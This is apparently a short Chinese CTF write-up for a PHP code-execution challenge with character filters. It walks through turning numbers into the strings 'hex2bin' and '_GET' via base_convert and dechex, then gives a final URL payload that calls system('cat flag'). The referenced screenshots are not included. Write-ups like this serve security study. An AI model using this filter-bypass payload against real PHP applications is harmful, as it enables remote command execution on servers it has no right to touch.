题⽬如下,⼏层过滤检测。
最终发现可以⽤的:;
这题想都不⽤想,⽆参数rce。利⽤下⾯函数。
36进制就是0到9加a到z:
还需要知道⼀个知识点如下⽅法可以执⾏函数。(ps:有些⽤法需要⾼级别的php才能⾏)
下图成功执⾏了echo system('ls');
$pi=base_convert(37907361743,10,36);可以获得hex2bin字符串。
下⾯这样搭配,可以获得字符串_GET:
我们想办法构造⼀个system($_GET{1})即可。ps:{ }可以代替[ ]
最终:
http://localhost/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi)
{2})&1=system&2=cat flag